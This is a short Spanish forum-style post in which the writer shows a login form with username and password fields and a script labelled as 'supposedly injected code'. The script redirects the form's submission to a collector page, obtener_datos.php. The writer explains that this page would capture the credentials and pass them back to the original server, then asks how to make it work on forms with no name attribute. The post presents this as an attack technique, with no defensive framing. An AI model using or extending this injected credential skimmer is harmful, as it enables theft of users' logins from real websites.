He conseguido hacerlo
<form action="" method="post" name="nombre_form">
<input type="text" name="Username" placeholder="Usuario"/><br />
<input type="password" name="Password" placeholder="Contraseña" /><br />
<input type="submit" value="Enviar" />
//código supuestamente inyectado
<script>
document.nombre_form.action = 'obtener_datos.php';
document.nombre_form.submit();
</script>
luego solo hace falta un obtener_datos.php que recoja las variables y las envié otra vez al servidor inicial pero que pasa si el form no tiene la variable name.